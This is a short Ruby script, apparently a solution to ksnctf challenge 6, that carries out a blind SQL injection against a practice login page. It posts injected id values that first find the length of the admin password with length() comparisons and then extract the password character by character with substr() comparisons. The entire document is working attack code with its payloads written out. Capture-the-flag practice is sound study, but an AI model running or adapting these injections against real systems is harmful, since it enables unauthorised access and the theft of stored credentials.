http://ksnctf.sweetduet.info/problem/6

blindsql.rb

require "uri"
require "net/http"

url = URI.parse("http://ctfq.sweetduet.info:10080/~q6/")

puts "Step1: Surveying password length..."
for i in 1..100 do
  response = Net::HTTP.post_form(url, "id" => %(' or (SELECT length(pass) FROM user WHERE id='admin') <= #{i}--))
  if response.body.include?(%(Congratulations!))
    len = i
    break
  end
end
puts %(Complete. password length is #{len}.)

puts "Step2: Surveying password..."
for i in 1..len do
  (33..126).each do |c|
    response = Net::HTTP.post_form(url, "id" => %(' or substr((SELECT pass FROM user WHERE id='admin'), #{i}, 1)="#{c.chr}"--"))
    if response.body.include?(%(Congratulations!))
      print c.chr
      break
    end
  end
end
puts "\nComplete."